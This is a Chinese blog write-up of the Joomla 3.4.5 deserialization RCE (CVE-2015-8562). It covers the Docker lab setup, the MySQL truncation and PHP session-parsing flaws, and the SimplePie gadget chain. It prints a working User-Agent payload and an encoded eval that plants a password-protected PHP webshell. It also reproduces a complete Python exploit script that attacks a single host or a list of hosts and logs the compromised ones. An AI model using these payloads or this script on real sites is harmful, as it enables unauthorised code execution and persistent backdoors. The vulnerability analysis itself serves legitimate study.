mysql 反序列化_Joomla 3.4.5 反序列化漏洞(CVE-2015-8562) 分析

601229b90e56b8b781a1dc37c8b434ef.png

0x00

在一番深思之后准备开始理解各大cms厂商的CVE漏洞。作为国外大佬之一的joomla是一个不错选择。依据便捷有效的观点,我在vulhub找到了joomla的典型漏洞之一 cve-2015-8562作为第一个下手的目标。

0x01

在初步了解漏洞之后决定开始进行测试。在通过vulhub的docker创建镜像时遇到几个问题:

1.国外的源并不更新或更新很慢;

2.vulhub使用的debian现在已经变成jessie(旧版)版本;

3.一些依赖进行了更新;

在一番摸索和查询之后,采取了以下相对应的解决办法:

更换国内源,使用stretch源,测试并更改更新的依赖项。

这里贴出经过更改的Dockerfile,将更改覆盖vulhub的Dockerfile

FROM vulhub/php:5.6.12-apache

MAINTAINER phithon <root@leavesongs.com>

# Enable Apache Rewrite Module
RUN a2enmod rewrite

RUN mv /etc/apt/sources.list /etc/apt/sources.list.bak && 
    echo "deb http://mirrors.tuna.tsinghua.edu.cn/debian/ stretch main contrib non-free" >/etc/apt/sources.list && 
    echo "deb http://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-updates main contrib non-free" >>/etc/apt/sources.list && 
    echo "deb http://mirrors.tuna.tsinghua.edu.cn/debian-security stretch/updates main contrib non-free" >>/etc/apt/sources.list && 
        echo "deb http://mirrors.tuna.tsinghua.edu.cn/debian/ stretch-backports main contrib non-free" >>/etc/apt/sources.list && 
        apt-get update && apt-get install -y libpng-dev libjpeg-dev libmcrypt-dev zip unzip && rm -rf /var/lib/apt/lists/* 
        && docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr 
        && docker-php-ext-install gd mysqli mcrypt zip
# Instal
# Download package and extract to web volume
RUN curl -o joomla.zip -SL https://github.com/joomla/joomla-cms/releases/download/3.4.5/Joomla_3.4.5-Stable-Full_Package.zip 
        && mkdir /usr/src/joomla 
        && unzip joomla.zip -d /usr/src/joomla 
        && rm joomla.zip 
        && chown -R www-data:www-data /usr/src/joomla

# Copy init scripts and custom .htaccess
COPY docker-entrypoint.sh /entrypoint.sh
COPY makedb.php /makedb.php

ENTRYPOINT ["bash", "/entrypoint.sh"]
CMD ["apache2-foreground"]

0x02

在顺利搭建环境后,可以利用vulhub文档poc进行测试。其中有一个技巧,可以在docker里开启php的xdebug,然后在phpstorm中进行断点测试,可以通过更改dockerfile实现。不过有一个缺点就是不能直接修改代码,如果有改的需求用phpstudy之类的套件会更方便。

0x03

在对漏洞分析的时候想通过查看源码独立找出漏洞点,由于功底不够最后还是选择去观摩了各位大佬的文章。在此总结一下cve-2015-8562的整个思路。

整个漏洞可以拆为一个php漏洞、一个mysql漏洞、joomla本身对useragent处理的漏洞来看待。

1.mysql在低版本或未配置utf8mb4时处理4字节utf字符会从4字节处截断,即丢弃截断处后的字符。(在mysql 5.5.3以后 可以通过设置字段为utf8mb4来避免漏洞)

2.在低版本的php中,反序列化函数unserialize做了欠缺的异常处理。即不能正确解析需要反序列化的字符串时,会查找字符串中的下一个标识符"|",从此处分割,以标识符前段做段名,再次解析标识符后段的字符串,直到成功或返回空。(此漏洞修复版本为:4.5.45 5.5.29 5.6.13 7.x)

3.joomla在对useragent处理时会将useragent作为一个session存入数据库,没有过滤引起php反序列漏洞的"|"符号。

整个漏洞执行流程大致为:

1.构造客户端useragent字符串-->2.joomla将useragent存储为session->3.执行session合并后进行序列化并将带有poc的字符串存入数据(这里触发mysql截断漏洞)-->4.客户端发起请求-->5.服务端从mysql读入数据库并反序列化session(这里触发php反序列化漏洞)-->6.执行poc并闭合函数

附:此处贴出L.N. 大佬 session反序列化代码执行漏洞分析[Joomla RCE] 文章中进行分析的部分php源码:

#define PS_DELIMITER '|'
#define PS_UNDEF_MARKER '!'
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
const char *p, *q;
char *name;
const char *endptr = val + vallen;
zval *current;
int namelen;
int has_value;
php_unserialize_data_t var_hash;
PHP_VAR_UNSERIALIZE_INIT(var_hash);
p = val;
while (p < endptr) {
zval **tmp;
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) goto break_outer_loop;
}
if (p[0] == PS_UNDEF_MARKER) {
p++;
has_value = 0;
} else {
has_value = 1;
}
namelen = q - p;
name = estrndup(p, namelen);
++;
if (zend_hash_find(&EG(symbol_table), name, namelen + 1, (void **) &tmp) == SUCCESS) {
if ((Z_TYPE_PP(tmp) == IS_ARRAY && Z_ARRVAL_PP(tmp) == &EG(symbol_table)) || *tmp == PS(http_session_vars)) {
goto skip;
}
}
if (has_value) {
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(&current, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
}
zval_ptr_dtor(&current);
}
PS_ADD_VARL(name, namelen);
skip:
efree(name);
p = q;
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return SUCCESS;
}

#此处贴 PHITHON 大佬 Joomla远程代码执行漏洞分析(总结)文章中的 joomla useragent处理部分代码:

<?php
protected function _validate($restart = false)
    {
        ...

        // Record proxy forwarded for in the session in case we need it later
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
        }

        ...
        // Check for clients browser
        if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
        {
            $browser = $this->get('session.client.browser');

            if ($browser === null)
            {
                $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
            }
            elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
            {
                // @todo remove code: $this->_state = 'error';
                // @todo remove code: return false;
            }
        } 

0x04

构造poc是对php 序列化漏洞的利用过程。主要利用php的几个魔术函数来实现。

  1. 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  2. 析构函数__destruct():当对象被销毁时会自动调用。
  3. __wakeup() :如前所提,unserialize()时会自动调用。

有一点是需要注意的,php序列化只能保存对象或一些方法中的属性,不能保存方法或者函数。所以对于漏洞的思路就大部分都是在调用与替换上。

细节参看:chybeta 大佬 浅谈php反序列化漏洞

下面贴出joomla的poc:

User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"000a";O:17:"JSimplepieFactory":0:{}s:21:
"000disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":
0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:
"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"000connection";i:1;}ð

对象(object)通常被序列化为:

O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}

细节参看: wayne173大佬 php 序列化(serialize)格式详解

poc的简明思路可以分为两步:

1.在JDatabaseDriverMysqli类中__destruct()函数存在call_user_func_array关键代码,可以通过覆盖disconnectHandlers属性来实例化某个具体类,但是具体方法和参数不可控。

  foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }

2.在SimplePie中存在call_user_func($this->cache_name_function, $this->feed_url)可利用代码,可实现任意代码调用。且在poc后部分执行JFactory::getConfig()是为了将 前一个函数即 $cache = call_user_func()闭合。

  if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                // Decide whether to enable caching
                if ($this->cache && $parsed_feed_url['scheme'] !== '')
                {
                    $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, 
                    call_user_func($this->cache_name_function, $this->feed_url), 'spc');
                } 

细节贴出: PENETRATION 大佬 Joomla远程代码执行漏洞分析(总结)

在对任意代码执行时先后尝试了assert和eval,后来发现序列化对于符号的处理并不友好,在一番查阅后发现对执行代码字符串进行了16进制编码和转码。

eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).
chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).
chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(116).chr(109).
chr(112).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95)
.chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(100).chr(110).chr(90).chr(50).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).
chr(90).chr(88).chr(90).chr(104).chr(98).chr(67).chr(103).chr(107).chr(88).chr(49).chr(66).chr(80).chr(85).chr(49).chr(82).chr(98).chr(101).chr(110).chr(112).chr(54).
chr(88).chr(83).chr(107).chr(55).chr(80).chr(122).chr(52).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit)

下面贴出剽窃大佬(找不到链接了)的源码:

#coding:utf-8
'''
author:F0rmat
vul:Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution
'''
import requests
from optparse import OptionParser

def get_url(url, user_agent):
    headers = {
        'User-Agent': user_agent
    }
    cookies = requests.get(url, headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers, cookies=cookies)
    return response.content

def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))

    return encoded[:-1]

def generate_payload(php_payload):
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))

    terminate = 'xf0xfdxfdxfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"000disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"000connection";b:1;}''' + terminate

    print  exploit_template
    return exploit_template

def check(url):
    response = requests.get(url)
    return response.content

def exploit(Host):
    turl = Host
    syscmd = "file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/tmp/shell.php',base64_decode('dnZ2PD9waHAgZXZhbCgkX1BPU1Rbenp6XSk7Pz4='));"
    #syscmd = 'print_r($_SERVER);'
    pl = generate_payload(syscmd)
    try:
        get_url(turl, pl)
        url = turl + '/tmp/shell.php'
        if 'vvv' in check(url):
            print u"成功!shell为" + turl + u"shell.php,密码为zzz"
            with open("success.txt", "a+") as f:
                f.write(url + '  pass:zzz' + "n")
        else:
            print turl+u"失败!漏洞已修补或版本不同!"
    except:
        print turl+u"失败!漏洞已修补或版本不同!"

def main():
    parser = OptionParser('usage %prog -H <target host> -f <target file>')
    parser.add_option("-H", dest="host",type="string",help="target host e:http://xxx.com/")
    parser.add_option("-f", dest="file",type="string",help="target file ")
    (options, args) = parser.parse_args()
    Host = options.host
    file = options.file
    if (Host == None):
        if(file == None):
            print parser.usage
            exit(0)
        else:
            with open(file,'r') as tfile:
                for fhost in tfile.readlines():
                    fhost=fhost.rstrip("n")
                    exploit(fhost)
    else:
        exploit(Host)
if __name__ == '__main__':
    main()

0x05

反思与分析:在开始复现漏洞时,没有深度阅读大佬分析的文章,导致在看了joomla一部分源码后才回过神来仔细分析。对于poc部分没有细致研究,导致实测时回头重新研究poc。各种拖延症导致进度缓慢,路漫漫其修远兮。

0x06

资料汇总:

PENETRATION 大佬 Joomla远程代码执行漏洞分析(总结)

wayne173大佬 php 序列化(serialize)格式详解

chybeta 大佬 浅谈php反序列化漏洞

session反序列化代码执行漏洞分析[Joomla RCE]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值